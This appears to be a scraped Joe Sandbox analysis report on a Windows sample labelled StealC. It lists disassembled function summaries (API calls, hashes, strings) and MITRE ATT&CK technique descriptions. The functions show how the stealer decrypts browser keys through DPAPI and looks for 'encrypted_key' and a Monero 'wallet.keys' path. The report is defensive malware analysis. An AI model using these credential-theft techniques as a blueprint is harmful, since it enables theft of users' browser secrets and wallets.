Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 04ae6ee93e01e3f73c96b960a16cc21f8890625005572699c464633634017852
Instruction ID: 1a0035aca7a9fb88c66ab465b86bfa605fa3ff5b5afb749b82bd4d82fb2b8e2e
Opcode Fuzzy Hash: 04ae6ee93e01e3f73c96b960a16cc21f8890625005572699c464633634017852
Instruction Fuzzy Hash: EB412CB1D10209ABCB05EFA4D885FEEB778AF68704F50841DE41667290DB75EA05CFA2

Function 001B9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001B99EC
Part of subcall function 001B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001B9A11
Part of subcall function 001B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001B9A31
Part of subcall function 001B99C0: ReadFile.KERNEL32(000000FF,?,00000000,001B148F,00000000), ref: 001B9A5A
Part of subcall function 001B99C0: LocalFree.KERNEL32(001B148F), ref: 001B9A90
Part of subcall function 001B99C0: CloseHandle.KERNEL32(000000FF), ref: 001B9A9A

Part of subcall function 001C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001C8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 001B9D39

Part of subcall function 001B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001B4EEE,00000000,00000000), ref: 001B9AEF
Part of subcall function 001B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,001B4EEE,00000000,?), ref: 001B9B01
Part of subcall function 001B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001B4EEE,00000000,00000000), ref: 001B9B2A
Part of subcall function 001B9AC0: LocalFree.KERNEL32(?,?,?,?,001B4EEE,00000000,?), ref: 001B9B3F

Part of subcall function 001B9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 001B9B84
Part of subcall function 001B9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 001B9BA3
Part of subcall function 001B9B60: LocalFree.KERNEL32(?), ref: 001B9BD3

Strings

, xrefs: 001B9DC1
DPAPI, xrefs: 001B9D89
"encrypted_key":", xrefs: 001B9D30

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 86fbe809aef26fd4d82f20c9c95a4e42f98a0382e5bb7894b1f3933b73bc1810
Instruction ID: d5bd6fa6120fff45f95a0c4c5adfc7c3418aa2ed05ce73cb3b8f3540ab9dcec0
Opcode Fuzzy Hash: 86fbe809aef26fd4d82f20c9c95a4e42f98a0382e5bb7894b1f3933b73bc1810
Instruction Fuzzy Hash: E6313EB6D10209ABCF14DFE4DC85EEFB7B8BF58304F544519EA05A7241EB319A05CBA1

Function 001C8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001D05B7), ref: 001C86CA
Process32First.KERNEL32(?,00000128), ref: 001C86DE
Process32Next.KERNEL32(?,00000128), ref: 001C86F3

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

CloseHandle.KERNEL32(?), ref: 001C8761

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 43016553397d5df19e9f1454d956a77f7d28bdacef1d1db0b81bd66abdd0dacf
Instruction ID: 0c00cdc082f6b7d5be1caf64184e14845214c8d9ea883585971dba80449527c0
Opcode Fuzzy Hash: 43016553397d5df19e9f1454d956a77f7d28bdacef1d1db0b81bd66abdd0dacf
Instruction Fuzzy Hash: F0318F71901218ABCB25DF90DC46FEEB778EF24704F50419DE109A21A0DB30AE44CFA1

Function 001C7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,001D0E00,00000000,?), ref: 001C79B0
RtlAllocateHeap.NTDLL(00000000), ref: 001C79B7
GetLocalTime.KERNEL32(?,?,?,?,?,001D0E00,00000000,?), ref: 001C79C4
wsprintfA.USER32 ref: 001C79F3

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 824488c10a54d9c407c4f05be2292ff32e689f003e23c208aeef67eeb1767046
Instruction ID: dc49cc287d3d21a3d9a84d903e3a7bea256a238766e61ab60ecc73f682ff8a4b
Opcode Fuzzy Hash: 824488c10a54d9c407c4f05be2292ff32e689f003e23c208aeef67eeb1767046
Instruction Fuzzy Hash: C11118B2904518ABCB149FC9DD45BBEBBFCFB48B11F10411AF605A2280E3795940CBB1

Function 001C92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(001C3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,001C3AEE,?), ref: 001C92FC
GetFileSizeEx.KERNEL32(000000FF,001C3AEE), ref: 001C9319
CloseHandle.KERNEL32(000000FF), ref: 001C9327

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: b18d7a51aa5adc69ec130c7e41508126b2c2546c21dc55b348f79e92ea64474f
Instruction ID: 3c6b4423ebbde4eadf1b8b1f17c79379d615687130b28166f8049f379ee8e5b5
Opcode Fuzzy Hash: b18d7a51aa5adc69ec130c7e41508126b2c2546c21dc55b348f79e92ea64474f
Instruction Fuzzy Hash: 35F01979E40208ABDB14DBF1DC49FAE77B9BB58710F118658A655AB2C0D774A6018F40

Function 001CC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 001CC74E

Part of subcall function 001CBF9F: __amsg_exit.LIBCMT ref: 001CBFAF

__getptd.LIBCMT ref: 001CC765
__amsg_exit.LIBCMT ref: 001CC773
__updatetlocinfoEx_nolock.LIBCMT ref: 001CC797

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: db8e91ab066f4d7be56426be5ce8ff8a4fad88a61167b3c86ced8b95d0eccfc0
Instruction ID: f884e1c2d962e5a7aede31881fec928b6717b4f90bea706bcd9a7b7b99b346fe
Opcode Fuzzy Hash: db8e91ab066f4d7be56426be5ce8ff8a4fad88a61167b3c86ced8b95d0eccfc0
Instruction Fuzzy Hash: BBF090329093149BDB21BBB85887F5E33A0AF30724F21414DF409E62D2CB64DD409ED6

Function 001C4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001C8E0B

lstrcat.KERNEL32(?,00000000), ref: 001C4F7A
lstrcat.KERNEL32(?,001D1070), ref: 001C4F97
lstrcat.KERNEL32(?,00EE8928), ref: 001C4FAB
lstrcat.KERNEL32(?,001D1074), ref: 001C4FBD

Part of subcall function 001C4910: wsprintfA.USER32 ref: 001C492C
Part of subcall function 001C4910: FindFirstFileA.KERNEL32(?,?), ref: 001C4943

Part of subcall function 001C4910: StrCmpCA.SHLWAPI(?,001D0FDC), ref: 001C4971
Part of subcall function 001C4910: StrCmpCA.SHLWAPI(?,001D0FE0), ref: 001C4987
Part of subcall function 001C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001C4B7D
Part of subcall function 001C4910: FindClose.KERNEL32(000000FF), ref: 001C4B92

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 880125f1a871651c8212ad4b1a1277deeb05b06d171b9b094e54006f8a2efbda
Instruction ID: 4073f4cbb4cc343189e9a27ccf840b4e857012b93af7b517d675e3339ddf463a
Opcode Fuzzy Hash: 880125f1a871651c8212ad4b1a1277deeb05b06d171b9b094e54006f8a2efbda
Instruction Fuzzy Hash: 4821B6B690020867C755FBA0DC46FF9333CAB69300F404549B68D97181EFB4AAC8CBA2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

